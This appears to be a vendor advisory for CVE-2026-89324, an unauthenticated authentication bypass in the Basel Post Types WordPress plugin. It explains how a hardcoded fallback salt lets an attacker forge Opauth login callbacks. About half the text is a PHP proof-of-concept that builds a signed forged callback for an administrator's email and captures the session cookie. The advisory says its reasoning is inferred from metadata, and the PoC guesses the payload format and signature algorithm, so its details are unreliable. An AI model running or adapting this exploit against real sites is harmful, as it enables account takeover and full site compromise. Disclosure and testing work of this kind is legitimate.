Atomic Edge analysis of CVE-2026-89324 (metadata-based): The Basel Post Types plugin for WordPress, versions up to and including 1.18, contains an unauthenticated authentication bypass. The flaw resides in the BASEL_Auth::get_config() method, which is responsible for configuring Opauth-based social login. The CVSS score is 9.8 (Critical), reflecting network-exploitable, low-complexity, no-privileges-required access that fully compromises confidentiality, integrity, and availability.
The root cause is a missing-quotes coding error in the defined() call for SECURE_AUTH_SALT. In PHP, defined() expects a string constant name, but without quotes, PHP evaluates the constant’s value. This causes the check to always fail, permanently falling back to the hardcoded salt 2NlBUibcszrVtNmDnxqDbwCOpLWq91eatIz6O1O. Atomic Edge analysis infers that this static salt, visible in the theme source, allows an attacker to compute a valid Opauth signature offline. The CWE-287 (Improper Authentication) classification confirms the bypass of authentication mechanisms. No code diff is available; conclusions are inferred from the CVE description and CWE.
Exploitation hinges on submitting a forged ?opauth callback to the unauthenticated init hook endpoint processed by register_or_login. Atomic Edge research infers the endpoint is the WordPress init hook, likely accessed via a URL such as /?opauth=callback or /wp-admin/admin-ajax.php?action=basel_opauth with a crafted opauth parameter. The attacker must know a target account email, compute a valid signature using the static salt, and include parameters like provider, uid, and email. Upon success, the plugin issues a fully authenticated session cookie via wc_set_customer_auth_cookie(), bypassing all password and MFA checks. WooCommerce and at least one social provider (Facebook, Google, VKontakte) with valid app_id/app_secret must be configured.
Remediation requires correcting the defined() call to use quoted constant names, e.g., defined(‘SECURE_AUTH_SALT’), and removing the hardcoded fallback salt. The patch in version 1.19 likely enforces proper constant checking and eliminates static fallbacks. Atomic Edge analysis recommends administrators upgrade immediately and, as a workaround, disable social login or remove the hardcoded salt from theme files.
Successful exploitation allows an unauthenticated attacker to authenticate as any existing user, including administrators, leading to full site compromise: data theft, privilege escalation, and potential remote code execution via plugin/theme editors. The impact is severe given the lack of prerequisites beyond a configured social provider.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-89324 - Basel Post Types <= 1.18 - Unauthenticated Authentication Bypass via Forged Opauth Callback Signature with Hardcoded Fallback Salt
$target_url = 'http://example.com'; // Configure target WordPress site
$target_email = 'admin@example.com'; // Email of target account (e.g., administrator)
$hardcoded_salt = '2NlBUibcszrVtNmDnxqDbwCOpLWq91eatIz6O1O'; // From CVE description
// Assume provider is 'facebook' or 'google'; adjust based on configured provider
$provider = 'facebook';
$uid = '1234567890'; // Arbitrary unique ID
// Build Opauth callback parameters. Opauth typically uses 'opauth' parameter with serialized data.
// The signature is computed over the serialized data using the salt.
$data = [
'provider' => $provider,
'uid' => $uid,
'email' => $target_email,
'timestamp' => time(),
];
$serialized = http_build_query($data);
$signature = hash_hmac('sha256', $serialized, $hardcoded_salt); // Assuming HMAC-SHA256; adjust if needed
$opauth_payload = base64_encode($serialized . '&signature=' . $signature);
// Construct URL with opauth callback
$url = $target_url . '/?opauth=' . urlencode($opauth_payload);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save session cookies
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check for success (e.g., redirect to admin or set auth cookie)
if ($http_code == 302 || $http_code == 200) {
echo "Request sent. Check cookies.txt for authenticated session.n";
echo "HTTP Code: $http_coden";
} else {
echo "Exploit failed with HTTP code: $http_coden";
}
// Note: This PoC assumes the Opauth callback structure and signature algorithm.
// Actual implementation may vary; adjust parameters and signature method based on plugin source.
?>